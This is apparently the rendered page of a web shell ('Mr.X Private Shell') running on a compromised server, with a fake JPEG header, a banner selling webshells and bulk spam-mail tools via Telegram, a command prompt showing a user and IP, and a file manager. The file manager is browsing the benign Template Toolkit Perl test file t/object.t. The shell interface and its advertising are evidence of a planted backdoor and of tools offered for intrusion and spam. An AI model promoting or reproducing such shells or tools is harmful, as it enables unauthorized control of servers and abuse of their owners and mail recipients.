����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
#============================================================= -*-perl-*-
# t/object.t
#
# Template script testing code bindings to objects.
#
# Written by Andy Wardley <abw@wardley.org>
#
# Copyright (C) 1996-2000 Andy Wardley.  All Rights Reserved.
# Copyright (C) 1998-2000 Canon Research Centre Europe Ltd.
#
# This is free software; you can redistribute it and/or modify it
# under the same terms as Perl itself.
#
# $Id$
#
#========================================================================

use strict;
use lib qw( ./lib ../lib );
use Template::Exception;
use Template::Test;
$^W = 1;

$Template::Test::DEBUG = 0;


#------------------------------------------------------------------------
# definition of test object class
#------------------------------------------------------------------------

package T1;
sub new {
    my $class = shift;
    bless { @_ }, $class;
}

sub die {
    die "barfed up\n";
}

package TestObject;

our $AUTOLOAD;

sub new {
    my ($class, $params) = @_;
    $params ||= {};

    bless {
        PARAMS  => $params,
        DAYS    => [ qw( Monday Tuesday Wednesday Thursday 
                         Friday Saturday Sunday ) ],
        DAY     => 0,
        'public'   => 314,
        '.private' => 425,
        '_hidden'  => 537,
    }, $class;
}

sub yesterday {
    my $self = shift;
    return "Love was such an easy game to play...";
}

sub today {
    my $self = shift;
    return "Live for today and die for tomorrow.";
}

sub tomorrow {
    my ($self, $dayno) = @_;
    $dayno = $self->{ DAY }++
        unless defined $dayno;
    $dayno %= 7;
    return $self->{ DAYS }->[$dayno];
}

sub belief {
    my $self = shift;
    my $b = join(' and ', @_);
    $b = '<nothing>' unless length $b;
    return "Oh I believe in $b.";
}

sub concat {
    my $self = shift;
    local $" = ', ';
    $self->{ PARAMS }->{ args } = "ARGS: @_";
}

sub _private {
    my $self = shift;
    die "illegal call to private method _private()\n";
}


sub AUTOLOAD {
    my ($self, @params) = @_;
    my $name = $AUTOLOAD;
    $name =~ s/.*:://;
    return if $name eq 'DESTROY';

    my $value = $self->{ PARAMS }->{ $name };
    if (ref($value) eq 'CODE') {
        return &$value(@params);
    }
    elsif (@params) {
        return $self->{ PARAMS }->{ $name } = shift @params;
    }
    else {
        return $value;
    }
}

#------------------------------------------------------------------------
# another object for testing auto-stringification
#------------------------------------------------------------------------

package Stringy;

use overload '""' => 'stringify', fallback => 1;

sub new {
    my ($class, $text) = @_;
    bless \$text, $class;
}

sub stringify {
    my $self = shift;
    return "stringified '$$self'";
}

#------------------------------------------------------------------------
# Another object for tracking down a bug with DBIx::Class where TT is 
# causing the numification operator to be called.  Matt S Trout suggests
# we've got a truth test somewhere that should be a defined but that 
# doesn't appear to be the case...
# http://rt.cpan.org/Ticket/Display.html?id=23763
#------------------------------------------------------------------------

package Numbersome;

use overload 
    '""' => 'stringify',
    '0+' => 'numify', 
    fallback => 1;

sub new {
    my ($class, $text) = @_;
    bless \$text, $class;
}

sub numify {
    my $self = shift;
    return "FAIL: numified $$self";
}

sub stringify {
    my $self = shift;
    return "PASS: stringified $$self";
}

sub things {
    return [qw( foo bar baz )];
}

package GetNumbersome;

sub new {
    my ($class, $text) = @_;
    bless { }, $class;
}

sub num {
    Numbersome->new("from GetNumbersome");
}

#------------------------------------------------------------------------
# main 
#------------------------------------------------------------------------

package main;

sub new {
    my ($class, $text) = @_;
    bless \$text, $class;
}

my $objconf = { 
    'a' => 'alpha',
    'b' => 'bravo',
    'w' => 'whisky',
};

my $replace = {
    thing  => TestObject->new($objconf),
    string => Stringy->new('Test String'),
    t1     => T1->new(a => 10),
    num    => Numbersome->new("Numbersome"),
    getnum => GetNumbersome->new,
    %{ callsign() },
};

test_expect(\*DATA, { INTERPOLATE => 1 }, $replace);



#------------------------------------------------------------------------
# test input
#------------------------------------------------------------------------

__DATA__
# test method calling via autoload to get parameters
[% thing.a %] [% thing.a %]
[% thing.b %]
$thing.w
-- expect --
alpha alpha
bravo
whisky

# ditto to set parameters
-- test --
[% thing.c = thing.b -%]
[% thing.c %]
-- expect --
bravo

-- test --
[% thing.concat = thing.b -%]
[% thing.args %]
-- expect --
ARGS: bravo

-- test --
[% thing.concat(d) = thing.b -%]
[% thing.args %]
-- expect --
ARGS: delta, bravo

-- test --
[% thing.yesterday %]
[% thing.today %]
[% thing.belief(thing.a thing.b thing.w) %]
-- expect --
Love was such an easy game to play...
Live for today and die for tomorrow.
Oh I believe in alpha and bravo and whisky.

-- test --
Yesterday, $thing.yesterday
$thing.today
${thing.belief('yesterday')}
-- expect --
Yesterday, Love was such an easy game to play...
Live for today and die for tomorrow.
Oh I believe in yesterday.

-- test --
[% thing.belief('fish' 'chips') %]
[% thing.belief %]
-- expect --
Oh I believe in fish and chips.
Oh I believe in <nothing>.

-- test --
${thing.belief('fish' 'chips')}
$thing.belief
-- expect --
Oh I believe in fish and chips.
Oh I believe in <nothing>.

-- test --
[% thing.tomorrow %]
$thing.tomorrow
-- expect --
Monday
Tuesday

-- test --
[% FOREACH [ 1 2 3 4 5 ] %]$thing.tomorrow [% END %].
-- expect --
Wednesday Thursday Friday Saturday Sunday .


#------------------------------------------------------------------------
# test private methods do not get exposed
#------------------------------------------------------------------------
-- test --
before[% thing._private %] mid [% thing._hidden %]after
-- expect --
before mid after

-- test --
[% key = '_private' -%]
[[% thing.$key %]]
-- expect --
[]

-- test --
[% key = '.private' -%]
[[% thing.$key = 'foo' %]]
[[% thing.$key %]]
-- expect --
[]
[]

#------------------------------------------------------------------------
# test auto-stringification
#------------------------------------------------------------------------

-- test --
[% string.stringify %]
-- expect --
stringified 'Test String'

-- test --
[% string %]
-- expect --
stringified 'Test String'

-- test --
[% "-> $string <-" %]
-- expect --
-> stringified 'Test String' <-

-- test --
[% "$string" %]
-- expect --
stringified 'Test String'

-- test --
foo $string bar
-- expect --
foo stringified 'Test String' bar

-- test --
.[% t1.dead %].
-- expect --
..

-- test --
.[% TRY; t1.die; CATCH; error; END %].
-- expect --
.undef error - barfed up
.


#-----------------------------------------------------------------------
# try and pin down the numification bug
#-----------------------------------------------------------------------

-- test --
[% FOREACH item IN num.things -%]
* [% item %]
[% END -%]
-- expect --
* foo
* bar
* baz

-- test --
[% num %]
-- expect --
PASS: stringified Numbersome

-- test --
[% getnum.num %]
-- expect --
PASS: stringified from GetNumbersome


Filemanager

Name Type Size Permission Actions
lib Folder 0755
test Folder 0755
vmethods Folder 0755
README File 3.1 KB 0644
anycase.t File 2.16 KB 0644
args.t File 2.41 KB 0644
assert.t File 2.53 KB 0644
base.t File 3.58 KB 0644
binop.t File 4.82 KB 0644
block.t File 2.71 KB 0644
block_duplicate.t File 476 B 0644
blocks.t File 2.2 KB 0644
capture.t File 1.59 KB 0644
case.t File 1.46 KB 0644
chomp.t File 7.71 KB 0644
compile1.t File 2.12 KB 0644
compile2.t File 2.67 KB 0644
compile3.t File 3.75 KB 0644
compile4.t File 2.38 KB 0644
compile5.t File 3.28 KB 0644
config.t File 6.46 KB 0644
constants.t File 5.07 KB 0644
context.t File 5.87 KB 0644
datafile.t File 1.81 KB 0644
date.t File 6.73 KB 0644
date_offset.t File 2.17 KB 0644
date_utf8.t File 1.33 KB 0644
debug.t File 3.86 KB 0644
directive.t File 4.76 KB 0644
directry.t File 5.48 KB 0644
document.t File 3.58 KB 0644
dumper.t File 1.47 KB 0644
error.t File 953 B 0644
evalperl.t File 3.73 KB 0644
exception.t File 1.52 KB 0644
factory.t File 1.4 KB 0644
file.t File 2.87 KB 0644
fileline.t File 3.16 KB 0644
filter.t File 17.74 KB 0644
foreach.t File 10.31 KB 0644
format.t File 1.78 KB 0644
html.t File 2.52 KB 0644
image.t File 2.22 KB 0644
include.t File 6.04 KB 0644
iterator.t File 3.67 KB 0644
leak.t File 5.01 KB 0644
list.t File 4.41 KB 0644
load_order_vmethods_stash.t File 192 B 0644
macro.t File 2.93 KB 0644
math.t File 1.22 KB 0644
math_rand.t File 476 B 0644
meta.t File 881 B 0644
mtime-zero.t File 1.04 KB 0644
object.t File 7.23 KB 0644
outline.t File 2.29 KB 0644
outline_line.t File 971 B 0644
output.t File 2.66 KB 0644
parser.t File 4.74 KB 0644
parser2.t File 981 B 0644
plugins.t File 6.12 KB 0644
plusfile.t File 1.91 KB 0644
pod.t File 2.05 KB 0644
prefix.t File 1.46 KB 0644
proc.t File 867 B 0644
process-relative.t File 2.05 KB 0644
process.t File 1.88 KB 0644
process_dir.t File 1.84 KB 0644
provider.t File 11.08 KB 0644
ref.t File 1.63 KB 0644
scalar.t File 2.56 KB 0644
service.t File 5.07 KB 0644
skel.t File 947 B 0644
stash-xs-unicode.t File 2.03 KB 0644
stash-xs.t File 8.42 KB 0644
stash.t File 7.91 KB 0644
stashc.t File 1.6 KB 0644
stop.t File 2.72 KB 0644
strcat.t File 758 B 0644
strict.t File 1.52 KB 0644
string.t File 7.38 KB 0644
switch.t File 3.83 KB 0644
table.t File 2.68 KB 0644
tags.t File 3.63 KB 0644
template.t File 1.49 KB 0644
text.t File 2.89 KB 0644
throw.t File 1.94 KB 0644
tiedhash.t File 5.28 KB 0644
trace_vars.t File 1.11 KB 0644
try.t File 9.83 KB 0644
unicode.t File 4.55 KB 0644
url.t File 4.06 KB 0644
vars.t File 11.36 KB 0644
varsv1.t File 8.96 KB 0644
view.t File 17.43 KB 0644
while.t File 3.18 KB 0644
wrap.t File 2.63 KB 0644
wrapper.t File 3.95 KB 0644
zz-plugin-cycle.t File 1.6 KB 0644
zz-plugin-leak-gh-213.t File 2.77 KB 0644
zz-plugin-leak-rt-46691.t File 2.95 KB 0644
zz-plugin-leak.t File 2.02 KB 0644
zz-pmv.t File 1.15 KB 0644
zz-pod-coverage.t File 1.64 KB 0644
zz-pod-kwalitee.t File 776 B 0644
zz-stash-xs-leak.t File 1.59 KB 0644
zz-url2.t File 3.71 KB 0644